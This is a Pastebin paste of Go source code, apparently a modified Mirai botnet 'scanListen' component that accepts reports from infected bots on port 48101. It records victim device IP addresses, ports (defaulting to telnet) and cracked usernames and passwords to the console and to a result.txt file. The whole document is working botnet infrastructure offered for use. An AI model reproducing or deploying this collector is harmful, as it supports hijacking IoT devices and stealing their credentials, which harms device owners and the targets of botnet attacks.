strlength

Modified ScaListen for mirai> outputs to a text file now.

May 26th, 2017
440
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 2.38 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4.     "fmt"
  5.     "net"
  6.     "encoding/binary"
  7.     "errors"
  8.     "os"
  9.     "time"
  10.     "log"
  11. )
  12.  
  13. func main() {
  14.     l, err := net.Listen("tcp", "0.0.0.0:48101")
  15.     if err != nil {
  16.         fmt.Println(err)
  17.         return
  18.     }
  19.  
  20.     for {
  21.         conn, err := l.Accept()
  22.         if err != nil {
  23.             break
  24.         }
  25.         go handleConnection(conn)
  26.     }
  27. }
  28.  
  29. func handleConnection(conn net.Conn) {
  30.     defer conn.Close()
  31.     conn.SetDeadline(time.Now().Add(10 * time.Second))
  32.  
  33.     bufChk, err := readXBytes(conn, 1)
  34.     if err != nil {
  35.         return
  36.     }
  37.  
  38.     var ipInt uint32
  39.     var portInt uint16
  40.  
  41.     if bufChk[0] == 0 {
  42.         ipBuf, err := readXBytes(conn, 4)
  43.         if err != nil {
  44.             return
  45.         }
  46.         ipInt = binary.BigEndian.Uint32(ipBuf)
  47.  
  48.         portBuf, err := readXBytes(conn, 2)
  49.         if err != nil {
  50.             return;
  51.         }
  52.  
  53.         portInt = binary.BigEndian.Uint16(portBuf)
  54.     } else {
  55.         ipBuf, err := readXBytes(conn, 3)
  56.         if err != nil {
  57.             return;
  58.         }
  59.         ipBuf = append(bufChk, ipBuf...)
  60.  
  61.         ipInt = binary.BigEndian.Uint32(ipBuf)
  62.  
  63.         portInt = 23
  64.     }
  65.  
  66.     uLenBuf, err := readXBytes(conn, 1)
  67.     if err != nil {
  68.         return
  69.     }
  70.     usernameBuf, err := readXBytes(conn, int(byte(uLenBuf[0])))
  71.  
  72.     pLenBuf, err := readXBytes(conn, 1)
  73.     if err != nil {
  74.         return
  75.     }
  76.     passwordBuf, err := readXBytes(conn, int(byte(pLenBuf[0])))
  77.     if err != nil {
  78.         return
  79.     }
  80.       file, err := os.OpenFile("result.txt", os.O_RDWR|os.O_APPEND|os.O_CREATE, 0666)
  81.     if err != nil {
  82.         log.Fatal("Cannot create file", err)
  83.     }
  84.     defer file.Close()
  85.     fmt.Printf("%d.%d.%d.%d:%d %s:%s\n", (ipInt >> 24) & 0xff, (ipInt >> 16) & 0xff, (ipInt >> 8) & 0xff, ipInt & 0xff, portInt, string(usernameBuf), string(passwordBuf))
  86.  
  87. fmt.Fprintf(file, "%d.%d.%d.%d:%d %s:%s\n", (ipInt >> 24) & 0xff, (ipInt >> 16) & 0xff, (ipInt >> 8) & 0xff, ipInt & 0xff, portInt, string(usernameBuf), string(passwordBuf))
  88. }
  89.  
  90. func readXBytes(conn net.Conn, amount int) ([]byte, error) {
  91.     buf := make([]byte, amount)
  92.     tl := 0
  93.  
  94.     for tl < amount {
  95.         rd, err := conn.Read(buf[tl:])
  96.         if err != nil || rd <= 0 {
  97.             return nil, errors.New("Failed to read")
  98.         }
  99.         tl += rd
  100.     }
  101.  
  102.     return buf, nil
  103. }
Advertisement
Add Comment
Please, Sign In to add comment